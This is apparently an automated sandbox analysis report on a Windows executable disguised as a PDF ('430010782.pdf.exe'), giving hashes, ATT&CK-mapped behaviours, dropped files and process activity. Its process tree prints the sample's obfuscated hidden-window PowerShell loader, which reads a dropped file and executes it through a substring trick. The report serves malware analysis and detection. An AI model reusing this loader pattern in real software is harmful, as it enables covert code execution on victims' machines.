36c105d0567272f2c86d784c7e7beadc44898152d1413d70fadd93b20f6992c8

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
09-12-2024 23:09

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General

Target

430010782.pdf.exe
Size

759KB
MD5

74c8f736d425b1bd2027c2b5b144e188
SHA1

76f160d6c55611b99dcd10f85889957cb867990a
SHA256

293ebd610b0542289ffe9a52cab2c2a434dcff94918045a5ed1497deaee5eb87
SHA512

c859f5d689b168a72db6fc7fec5ed3c2a95cbd51402f0128b5370ec0cd41d73e02f90e3b27b85b8d76c5c0140bd9a6d9341d2422673baa52a5138ff689596162
SSDEEP

12288:0GCX77iIc2b3mMhkApKwjVim+PMpa3oGk6Rcs93tRLPHj6XOahG:qr75cY2vFikV/oGtR193tJPDUOr

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1904	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2124	430010782.pdf.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\devotee\Organosol.ini	430010782.pdf.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\typhloalbuminuria\rekylgevrs.ini	430010782.pdf.exe
File opened for modification	C:\Windows\Fonts\ketoside.ref	430010782.pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	430010782.pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1904	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1904	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 1904	2124	430010782.pdf.exe	30
PID 2124 wrote to memory of 1904	2124	430010782.pdf.exe	30
PID 2124 wrote to memory of 1904	2124	430010782.pdf.exe	30
PID 2124 wrote to memory of 1904	2124	430010782.pdf.exe	30

C:\Users\Admin\AppData\Local\Temp\430010782.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\430010782.pdf.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Ekstremumspunktet32=gc -raw 'C:\Users\Admin\AppData\Local\neoimpressionism\Arbejdsbesparelsernes40\Kbmand.Too';$byelaws=$Ekstremumspunktet32.SubString(71187,3);.$byelaws($Ekstremumspunktet32) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\nsjD338.tmp\nsExec.dll

Filesize
6KB

MD5
01e76fe9d2033606a48d4816bd9c2d9d

SHA1
e46d8a9ed4d5da220c81baf5f1fdb94708e9aba2

SHA256
ee052fd5141bf769b841846170aabf0d7c2bb922c74c623c3f109344534f7a70

SHA512
62ef7095d1bf53354c20329c2ce8546c277aa0e791839c8a24108a01f9483a953979259e0ad04dbcab966444ee7cdd340f8c9557bc8f98e9400794f2751dc7e0

Download Submit
memory/1904-12-0x0000000073D41000-0x0000000073D42000-memory.dmp

Filesize
4KB

Download
memory/1904-14-0x0000000073D40000-0x00000000742EB000-memory.dmp

Filesize
5.7MB

Download
memory/1904-13-0x0000000073D40000-0x00000000742EB000-memory.dmp

Filesize
5.7MB

Download
memory/1904-15-0x0000000073D40000-0x00000000742EB000-memory.dmp

Filesize
5.7MB

Download